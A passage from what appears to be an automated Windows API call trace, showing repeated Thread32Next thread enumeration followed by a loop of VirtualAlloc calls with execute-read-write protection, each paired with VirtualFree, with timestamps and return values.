lpte=0x19f314) returned 1 [0197.950] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.950] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.951] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.952] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.952] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.953] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.954] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.955] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.955] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.956] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.957] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.958] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.959] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.959] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.960] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.961] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.961] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.962] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.963] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.964] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.964] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.965] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.966] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.966] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.967] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.968] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.969] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.969] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.970] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.971] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.971] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.984] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.985] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.986] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.989] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.990] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.990] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.991] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.992] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.992] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.993] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.994] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.994] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.995] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.996] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.996] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.997] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.997] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.998] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.998] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0197.999] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.000] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.001] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.001] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.002] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.003] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.004] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.004] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.005] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.006] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.006] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.007] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.008] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.008] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.009] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.010] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.011] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.011] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.012] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.013] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.013] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.014] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.015] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.015] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.016] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.017] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.017] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.018] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.019] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.025] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.026] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.026] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.027] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.028] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.028] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.029] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.030] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.030] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.031] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.032] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.032] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.033] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.034] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.035] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.035] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.036] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.037] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.037] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.038] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.039] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.039] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.040] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.041] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.041] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.042] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.043] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.043] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.044] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.045] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.045] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.046] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.047] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.047] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.048] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.049] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.050] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.050] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.051] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.052] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.053] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.053] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.054] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.055] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.055] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.056] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.057] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.057] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.058] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.059] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.060] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.060] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.061] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.062] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.062] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.063] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.064] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.064] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.065] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.066] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.077] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.078] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.079] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.079] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.080] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.081] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.083] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.084] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.084] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.085] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.086] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.086] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.087] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.088] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.088] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.089] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.090] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.090] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.091] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.092] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.092] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.093] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.094] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.094] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.095] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.096] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.096] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.098] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.098] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.099] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.100] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.100] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.101] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.102] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.102] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.103] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.104] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.104] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.105] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.106] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.106] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.107] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.108] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.108] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.109] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.110] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.110] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.111] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.112] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.113] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.154] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.154] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.155] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.156] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.156] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.157] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.158] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.159] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.159] Thread32Next (hSnapshot=0x30c, lpte=0x19f314) returned 1 [0198.580] CloseHandle (hObject=0x320) returned 1 [0198.580] CloseHandle (hObject=0x30c) returned 1 [0198.581] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0198.591] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0198.711] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0198.715] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0198.839] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0198.843] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0198.962] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0198.967] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0199.074] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0199.078] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0199.190] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0199.198] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0199.370] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0199.374] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0199.465] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0199.470] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0199.561] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0199.565] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0199.652] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0199.656] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0199.751] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0199.759] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0199.859] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0199.863] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0199.955] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0199.959] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0200.053] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0200.057] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0200.153] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0200.156] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0200.253] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0200.258] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0200.417] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0200.420] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0200.513] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0200.517] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0200.655] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0200.659] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0200.932] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0200.935] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0201.123] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.127] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0201.388] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.392] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0201.566] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.570] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0201.832] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0201.836] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0202.075] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0202.079] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0202.247] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0202.251] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0202.451] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0202.454] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0202.543] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0202.547] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0202.645] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0202.650] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0202.737] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0202.772] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0202.869] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0202.873] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0202.969] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0202.973] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0203.066] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0203.069] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0203.257] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0203.261] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0203.399] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0203.404] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0203.504] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0203.508] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0203.610] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0203.615] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0203.734] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0203.738] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0203.875] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0203.879] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0203.985] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0203.989] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0204.110] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0204.114] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0204.223] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0204.228] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0204.440] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0204.444] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0204.541] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0204.545] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0204.642] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0204.646] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0204.767] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0204.772] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0204.872] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0204.878] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0204.975] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0204.979] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0205.077] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.081] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0205.196] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.200] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0205.338] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.343] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0205.434] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.438] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0205.529] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.533] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0205.638] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.642] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0205.786] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.791] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0205.969] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.973] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0206.175] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0206.179] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0206.360] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0206.365] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0206.547] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0206.551] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0206.794] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0206.803] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0207.054] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0207.059] VirtualAlloc 